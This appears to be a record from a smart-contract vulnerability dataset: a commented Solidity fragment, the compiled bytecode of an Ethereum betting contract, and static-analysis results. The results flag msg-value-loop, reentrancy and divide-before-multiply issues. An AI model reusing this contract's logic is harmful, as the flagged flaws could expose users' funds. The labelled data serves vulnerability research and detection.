getEventId(address creator, bytes32 eventName) external view returns (uint, bool){ // for (uint i = 0; i < betEvents[creator].length; i++) { // if (betEvents[creator][i].name == eventName) { // return (betEvents[creator][i].id, true); // } // } // return (0, false); // } }
0x6080604052600436106101225760003560e01c80639567a161116100a0578063f1a3fde411610064578063f1a3fde4146103fa578063f1ebabf814610423578063f3f437031461043f578063f4e10de21461047c578063fe23ea6f146104c157610129565b80639567a16114610321578063b3423eec1461034f578063b5f38dce14610366578063d7097b49146103a3578063eba38402146103d157610129565b80635c01539e116100e75780635c01539e14610234578063691db8f11461025d57806383f1aa6f146102905780638da5cb5b146102b95780639201de55146102e457610129565b80622c1a9e1461012b57806301fb15001461016857806312a51111146101a557806316e807c4146101ce5780634200cb12146101f757610129565b3661012957005b005b34801561013757600080fd5b50610152600480360381019061014d9190613362565b6104ea565b60405161015f9190613d57565b60405180910390f35b34801561017457600080fd5b5061018f600480360381019061018a91906131a2565b61051f565b60405161019c9190613bcf565b60405180910390f35b3480156101b157600080fd5b506101cc60048036038101906101c7919061327e565b6108de565b005b3480156101da57600080fd5b506101f560048036038101906101f091906132ea565b6109a9565b005b34801561020357600080fd5b5061021e60048036038101906102199190613242565b610a45565b60405161022b9190613bf1565b60405180910390f35b34801561024057600080fd5b5061025b600480360381019061025691906131cb565b610b74565b005b34801561026957600080fd5b5061027261101c565b60405161028799989796959493929190613d72565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906132ea565b6110a5565b005b3480156102c557600080fd5b506102ce61165b565b6040516102db9190613b38565b60405180910390f35b3480156102f057600080fd5b5061030b60048036038101906103069190613339565b61167f565b6040516103189190613c35565b60405180910390f35b34801561032d57600080fd5b506103366117f0565b6040516103469493929190613b8a565b60405180910390f35b34801561035b57600080fd5b5061036461182e565b005b34801561037257600080fd5b5061038d60048036038101906103889190613242565b6118bc565b60405161039a9190613c13565b60405180910390f35b3480156103af57600080fd5b506103b8611a50565b6040516103c89493929190613dff565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f39190613242565b611a7b565b005b34801561040657600080fd5b50610421600480360381019061041c919061327e565b611c39565b005b61043d600480360381019061043891906132ea565b611db6565b005b34801561044b57600080fd5b50610466600480360381019061046191906131a2565b612533565b6040516104739190613d57565b60405180910390f35b34801561048857600080fd5b506104a3600480360381019061049e9190613242565b61254b565b6040516104b899989796959493929190613d72565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e391906132ea565b612603565b005b60008060018301600a0a850290506000600a600586848161050757fe5b04018161051057fe5b04905080925050509392505050565b6060600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b828210156108d357838290600052602060002090600b02016040518061016001604052908160008201548152602001600182015481526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016004820154815260200160058201548152602001600682015481526020016007820154815260200160088201805480602002602001604051908101604052809291908181526020016000905b828210156107bc57838290600052602060002090600502016040518060a001604052908160008201548152602001600182015481526020016002820180548060200260200160405190810160405280929190818152602001828054801561076d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610723575b50505050508152602001600382015481526020016004820160009054906101000a900460ff16600181111561079e57fe5b60018111156107a957fe5b81525050815260200190600101906106b1565b50505050815260200160098201805480602002602001604051908101604052809291908181526020016000905b8282101561088f57838290600052602060002090600402016040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815260200160028201548152602001600382015481525050815260200190600101906107e9565b505050508152602001600a820160009054906101000a900460ff1660028111156108b557fe5b60028111156108c057fe5b8152505081526020019060010190610580565b505050509050919050565b8383600060028111156108ed57fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061093757fe5b90600052602060002090600b0201600a0160009054906101000a900460ff16600281111561096157fe5b14156109a15760005b8484905081101561099f57610992878787878581811061098657fe5b90506020020135612751565b808060010191505061096a565b505b505050505050565b8282600060028111156109b857fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610a0257fe5b90600052602060002090600b0201600a0160009054906101000a900460ff166002811115610a2c57fe5b1415610a3e57610a3d858585612751565b5b5050505050565b6060600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610a9157fe5b90600052602060002090600b0201600901805480602002602001604051908101604052809291908181526020016000905b82821015610b6857838290600052602060002090600402016040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815260200160038201548152505081526020019060010190610ac2565b50505050905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156110155760648310610c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0290613cd7565b60405180910390fd5b6000805b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015610cce5785600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610ca457fe5b90600052602060002090600b0201600101541415610cc157600191505b8080600101915050610c0f565b508015610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790613d17565b60405180910390fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050806008600001819055508560086001018190555086600860030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006008600a0160006101000a81548160ff02191690836002811115610dd157fe5b021790555033600860020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836008600601819055508260086007018190555084600860050181905550600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600890806001815401808255809150506001900390600052602060002090600b020160009091909190915060008201548160000155600182015481600101556002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600482015481600401556005820154816005015560068201548160060155600782015481600701556008820181600801908054610fc2929190612e40565b506009820181600901908054610fd9929190612f03565b50600a820160009054906101000a900460ff1681600a0160006101000a81548160ff0219169083600281111561100b57fe5b0217905550505050505b5050505050565b60088060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600401549080600501549080600601549080600701549080600a0160009054906101000a900460ff16905089565b8282600160028111156110b457fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106110fe57fe5b90600052602060002090600b0201600a0160009054906101000a900460ff16600281111561112857fe5b1480156111db5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811061117a57fe5b90600052602060002090600b020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611654576111eb858585612989565b6111f457600080fd5b6000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061124057fe5b90600052602060002090600b02019050838160040181905550600080600080600090505b846009018054905081101561137757600085600901828154811061128457fe5b906000526020600020906004020160020154905085600401548660090183815481106112ac57fe5b906000526020600020906004020160010154141561135b57808401935080600260008860090185815481106112dd57fe5b906000526020600020906004020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611369565b828060010193505080850194505b508080600101915050611264565b50600084600501546064858161138957fe5b0402905080600260008760030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808403935060008311156115285760005b856009018054905081101561152257856004015486600901828154811061143257fe5b906000526020600020906004020160010154141561151557600061147887600901838154811061145e57fe5b9060005260206000209060040201600201548660026104ea565b9050806064878161148557fe5b04026002600089600901858154811061149a57fe5b906000526020600020906004020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550505b808060010191505061140f565b50611628565b60005b8560090180549050811015611626578560050154606487600901838154811061155057fe5b9060005260206000209060040201600201548161156957fe5b040286600901828154811061157a57fe5b90600052602060002090600402016002015403600260008860090184815481106115a057fe5b906000526020600020906004020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808060010191505061152b565b505b600285600a0160006101000a81548160ff0219169083600281111561164957fe5b021790555050505050505b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060005b60208160ff161080156116cf5750600060f81b838260ff16602081106116a657fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b156116e1578080600101915050611684565b60008160ff1667ffffffffffffffff811180156116fd57600080fd5b506040519080825280601f01601f1916602001820160405280156117305781602001600182028036833780820191505090505b509050600091505b60208260ff161080156117835750600060f81b848360ff166020811061175a57fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b156117e657838260ff166020811061179757fe5b1a60f81b818360ff16815181106117aa57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050611738565b8092505050919050565b60138060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154905084565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a890613c77565b60405180910390fd5b6118ba33612a9a565b565b6060600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061190857fe5b90600052602060002090600b0201600801805480602002602001604051908101604052809291908181526020016000905b82821015611a4457838290600052602060002090600502016040518060a00160405290816000820154815260200160018201548152602001600282018054806020026020016040519081016040528092919081815260200182805480156119f557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116119ab575b50505050508152602001600382015481526020016004820160009054906101000a900460ff166001811115611a2657fe5b6001811115611a3157fe5b8152505081526020019060010190611939565b50505050905092915050565b60038060000154908060010154908060030154908060040160009054906101000a900460ff16905084565b818160006002811115611a8a57fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611ad457fe5b90600052602060002090600b0201600a0160009054906101000a900460ff166002811115611afe57fe5b148015611bb15750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110611b5057fe5b90600052602060002090600b020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611c335760018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110611c0157fe5b90600052602060002090600b0201600a0160006101000a81548160ff02191690836002811115611c2d57fe5b02179055505b50505050565b838360006002811115611c4857fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611c9257fe5b90600052602060002090600b0201600a0160009054906101000a900460ff166002811115611cbc57fe5b148015611d6f5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110611d0e57fe5b90600052602060002090600b020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611dae5760005b84849050811015611dac57611d9f8787878785818110611d9357fe5b90506020020135612b6e565b8080600101915050611d77565b505b505050505050565b828260006002811115611dc557fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611e0f57fe5b90600052602060002090600b0201600a0160009054906101000a900460ff166002811115611e3957fe5b141561252c576000620151806001620151804281611e5357fe5b040102905080841015611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290613c97565b60405180910390fd5b6000611ea8878787612989565b905080611f1f573073ffffffffffffffffffffffffffffffffffffffff166316e807c48888886040518463ffffffff1660e01b8152600401611eec93929190613b53565b600060405180830381600087803b158015611f0657600080fd5b505af1158015611f1a573d6000803e3d6000fd5b505050505b60005b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208781548110611f6c57fe5b90600052602060002090600b0201600801805490508110156124e85785600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208881548110611fd357fe5b90600052602060002090600b02016008018281548110611fef57fe5b90600052602060002090600502016001015414156124db576000600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061205357fe5b90600052602060002090600b0201600801828154811061206f57fe5b90600052602060002090600502019050600192506000600181111561209057fe5b8160040160009054906101000a900460ff1660018111156120ad57fe5b146120ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e490613d37565b60405180910390fd5b6000600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020898154811061213957fe5b90600052602060002090600b02016006015411156121f057600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061219b57fe5b90600052602060002090600b0201600601543410156121ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e690613cf7565b60405180910390fd5b5b6000600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020898154811061223c57fe5b90600052602060002090600b02016007015411156122f357600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061229e57fe5b90600052602060002090600b0201600701543411156122f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e990613cb7565b60405180910390fd5b5b80600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034816003016000828254019250508190555033601360000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550346013600201819055508660136001018190555042601360030181905550600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061241657fe5b90600052602060002090600b0201600901601390806001815401808255809150506001900390600052602060002090600402016000909190919091506000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001820154816001015560028201548160020155600382015481600301555050505b8080600101915050611f22565b5080612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090613c57565b60405180910390fd5b50505b5050505050565b60026020528060005260406000206000915090505481565b6001602052816000526040600020818154811061256757600080fd5b90600052602060002090600b0201600091509150508060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600401549080600501549080600601549080600701549080600a0160009054906101000a900460ff16905089565b82826000600281111561261257fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061265c57fe5b90600052602060002090600b0201600a0160009054906101000a900460ff16600281111561268657fe5b1480156127395750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106126d857fe5b90600052602060002090600b020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561274a57612749858585612b6e565b5b5050505050565b82826000600281111561276057fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106127aa57fe5b90600052602060002090600b0201600a0160009054906101000a900460ff1660028111156127d457fe5b1415612982576000806127e8878787612989565b90508061297f57600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868154811061283957fe5b90600052602060002090600b020160080180549050915081600360000181905550846003600101819055506000600360040160006101000a81548160ff0219169083600181111561288657fe5b0217905550600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106128d557fe5b90600052602060002090600b0201600801600390806001815401808255809150506001900390600052602060002090600502016000909190919091506000820154816000015560018201548160010155600282018160020190805461293b929190612fe0565b50600382015481600301556004820160009054906101000a900460ff168160040160006101000a81548160ff0219169083600181111561297757fe5b021790555050505b50505b5050505050565b600080600090505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481106129db57fe5b90600052602060002090600b020160080180549050811015612a8d5782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110612a4257fe5b90600052602060002090600b02016008018281548110612a5e57fe5b9060005260206000209060050201600101541415612a80576001915050612a93565b8080600101915050612991565b50600090505b9392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b69573d6000803e3d6000fd5b505050565b828260006002811115612b7d57fe5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612bc757fe5b90600052602060002090600b0201600a0160009054906101000a900460ff166002811115612bf157fe5b148015612ca45750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110612c4357fe5b90600052602060002090600b020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15612e395760005b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110612cf657fe5b90600052602060002090600b020160080180549050811015612e375783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110612d5d57fe5b90600052602060002090600b02016008018281548110612d7957fe5b9060005260206000209060050201600101541415612e2a5760018060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208681548110612ddc57fe5b90600052602060002090600b02016008018281548110612df857fe5b906000526020600020906005020160040160006101000a81548160ff02191690836001811115612e2457fe5b02179055505b8080600101915050612cac565b505b5050505050565b828054828255906000526020600020906005028101928215612ef25760005260206000209160050282015b82811115612ef157828260008201548160000155600182015481600101556002820181600201908054612e9f929190612fe0565b50600382015481600301556004820160009054906101000a900460ff168160040160006101000a81548160ff02191690836001811115612edb57fe5b0217905550505091600501919060050190612e6b565b5b509050612eff9190613032565b5090565b828054828255906000526020600020906004028101928215612fcf5760005260206000209160040282015b82811115612fce5782826000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600182015481600101556002820154816002015560038201548160030155505091600401919060040190612f2e565b5b509050612fdc9190613085565b5090565b8280548282559060005260206000209081019282156130215760005260206000209182015b82811115613020578254825591600101919060010190613005565b5b50905061302e91906130db565b5090565b5b8082111561308157600080820160009055600182016000905560028201600061305c91906130f8565b60038201600090556004820160006101000a81549060ff021916905550600501613033565b5090565b5b808211156130d757600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160009055600382016000905550600401613086565b5090565b5b808211156130f45760008160009055506001016130dc565b5090565b508054600082559060005260206000209081019061311691906130db565b50565b60008135905061312881614064565b92915050565b60008083601f84011261314057600080fd5b8235905067ffffffffffffffff81111561315957600080fd5b60208301915083602082028301111561317157600080fd5b9250929050565b6000813590506131878161407b565b92915050565b60008135905061319c81614092565b92915050565b6000602082840312156131b457600080fd5b60006131c284828501613119565b91505092915050565b600080600080600060a086880312156131e357600080fd5b60006131f188828901613119565b955050602061320288828901613178565b94505060406132138882890161318d565b93505060606132248882890161318d565b92505060806132358882890161318d565b9150509295509295909350565b6000806040838503121561325557600080fd5b600061326385828601613119565b92505060206132748582860161318d565b9150509250929050565b6000806000806060858703121561329457600080fd5b60006132a287828801613119565b94505060206132b38782880161318d565b935050604085013567ffffffffffffffff8111156132d057600080fd5b6132dc8782880161312e565b925092505092959194509250565b6000806000606084860312156132ff57600080fd5b600061330d86828701613119565b935050602061331e8682870161318d565b925050604061332f8682870161318d565b9150509250925092565b60006020828403121561334b57600080fd5b600061335984828501613178565b91505092915050565b60008060006060848603121561337757600080fd5b60006133858682870161318d565b93505060206133968682870161318d565b92505060406133a78682870161318d565b9150509250925092565b60006133bd8383613409565b60208301905092915050565b60006133d58383613959565b905092915050565b60006133e98383613a4f565b60808301905092915050565b60006134018383613aa4565b905092915050565b61341281613f66565b82525050565b61342181613f66565b82525050565b600061343282613e84565b61343c8185613eef565b935061344783613e44565b8060005b8381101561347857815161345f88826133b1565b975061346a83613ebb565b92505060018101905061344b565b5085935050505092915050565b600061349082613e8f565b61349a8185613f00565b9350836020820285016134ac85613e54565b8060005b858110156134e857848403895281516134c985826133c9565b94506134d483613ec8565b925060208a019950506001810190506134b0565b50829750879550505050505092915050565b600061350582613e9a565b61350f8185613f11565b935061351a83613e64565b8060005b8381101561354b57815161353288826133dd565b975061353d83613ed5565b92505060018101905061351e565b5085935050505092915050565b600061356382613e9a565b61356d8185613f22565b935061357883613e64565b8060005b838110156135a957815161359088826133dd565b975061359b83613ed5565b92505060018101905061357c565b5085935050505092915050565b60006135c182613ea5565b6135cb8185613f33565b9350836020820285016135dd85613e74565b8060005b8581101561361957848403895281516135fa85826133f5565b945061360583613ee2565b925060208a019950506001810190506135e1565b50829750879550505050505092915050565b600061363682613ea5565b6136408185613f44565b93508360208202850161365285613e74565b8060005b8581101561368e578484038952815161366f85826133f5565b945061367a83613ee2565b925060208a01995050600181019050613656565b50829750879550505050505092915050565b6136a981613f78565b82525050565b6136b881613f78565b82525050565b6136c781613fd2565b82525050565b6136d681613fd2565b82525050565b6136e581613fe4565b82525050565b6136f481613fe4565b82525050565b600061370582613eb0565b61370f8185613f55565b935061371f818560208601613ff6565b6137288161402b565b840191505092915050565b6000613740600e83613f55565b91507f426964206e6f7420666f756e642e0000000000000000000000000000000000006000830152602082019050919050565b6000613780601883613f55565b91507f4e6f207769746864726177616c20617661696c61626c652e00000000000000006000830152602082019050919050565b60006137c0601c83613f55565b91507f426964206d757374206265206d6f7265207468616e20746f6461792e000000006000830152602082019050919050565b6000613800601183613f55565b91507f4d617820616d6f756e74206572726f722e0000000000000000000000000000006000830152602082019050919050565b6000613840601b83613f55565b91507f466565206d757374206265206c6f776572207468616e203130302e00000000006000830152602082019050919050565b6000613880601183613f55565b91507f4d696e20616d6f756e74206572726f722e0000000000000000000000000000006000830152602082019050919050565b60006138c0602483613f55565b91507f4576656e7420776974682073616d65206e616d6520616c72656164792065786960008301527f7374732e000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613926600e83613f55565b91507f42696420697320636c6f7365642e0000000000000000000000000000000000006000830152602082019050919050565b6000610160830160008301516139726000860182613b1a565b50602083015161398560208601826136a0565b5060408301516139986040860182613409565b5060608301516139ab6060860182613409565b5060808301516139be6080860182613b1a565b5060a08301516139d160a0860182613b1a565b5060c08301516139e460c0860182613b1a565b5060e08301516139f760e0860182613b1a565b50610100830151848203610100860152613a1182826135b6565b915050610120830151848203610120860152613a2d82826134fa565b915050610140830151613a446101408601826136dc565b508091505092915050565b608082016000820151613a656000850182613409565b506020820151613a786020850182613b1a565b506040820151613a8b6040850182613b1a565b506060820151613a9e6060850182613b1a565b50505050565b600060a083016000830151613abc6000860182613b1a565b506020830151613acf6020860182613b1a565b5060408301518482036040860152613ae78282613427565b9150506060830151613afc6060860182613b1a565b506080830151613b0f60808601826136be565b508091505092915050565b613b2381613fc8565b82525050565b613b3281613fc8565b82525050565b6000602082019050613b4d6000830184613418565b92915050565b6000606082019050613b686000830186613418565b613b756020830185613b29565b613b826040830184613b29565b949350505050565b6000608082019050613b9f6000830187613418565b613bac6020830186613b29565b613bb96040830185613b29565b613bc66060830184613b29565b95945050505050565b60006020820190508181036000830152613be98184613485565b905092915050565b60006020820190508181036000830152613c0b8184613558565b905092915050565b60006020820190508181036000830152613c2d818461362b565b905092915050565b60006020820190508181036000830152613c4f81846136fa565b905092915050565b60006020820190508181036000830152613c7081613733565b9050919050565b60006020820190508181036000830152613c9081613773565b9050919050565b60006020820190508181036000830152613cb0816137b3565b9050919050565b60006020820190508181036000830152613cd0816137f3565b9050919050565b60006020820190508181036000830152613cf081613833565b9050919050565b60006020820190508181036000830152613d1081613873565b9050919050565b60006020820190508181036000830152613d30816138b3565b9050919050565b60006020820190508181036000830152613d5081613919565b9050919050565b6000602082019050613d6c6000830184613b29565b92915050565b600061012082019050613d88600083018c613b29565b613d95602083018b6136af565b613da2604083018a613418565b613daf6060830189613418565b613dbc6080830188613b29565b613dc960a0830187613b29565b613dd660c0830186613b29565b613de360e0830185613b29565b613df16101008301846136eb565b9a9950505050505050505050565b6000608082019050613e146000830187613b29565b613e216020830186613b29565b613e2e6040830185613b29565b613e3b60608301846136cd565b95945050505050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f7182613fa8565b9050919050565b6000819050919050565b6000819050613f908261403c565b919050565b6000819050613fa382614050565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000613fdd82613f82565b9050919050565b6000613fef82613f95565b9050919050565b60005b83811015614014578082015181840152602081019050613ff9565b83811115614023576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b6002811061404d5761404c614029565b5b50565b6003811061406157614060614029565b5b50565b61406d81613f66565b811461407857600080fd5b50565b61408481613f78565b811461408f57600080fd5b50565b61409b81613fc8565b81146140a657600080fd5b5056fea2646970667358221220299125e14020b22c5ef41740b84da7cf32f8760c1115aca55272e54bc476601c64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,968
0xb92c5f4f3a13bb14467fe0c25a4c569aa20e1df8
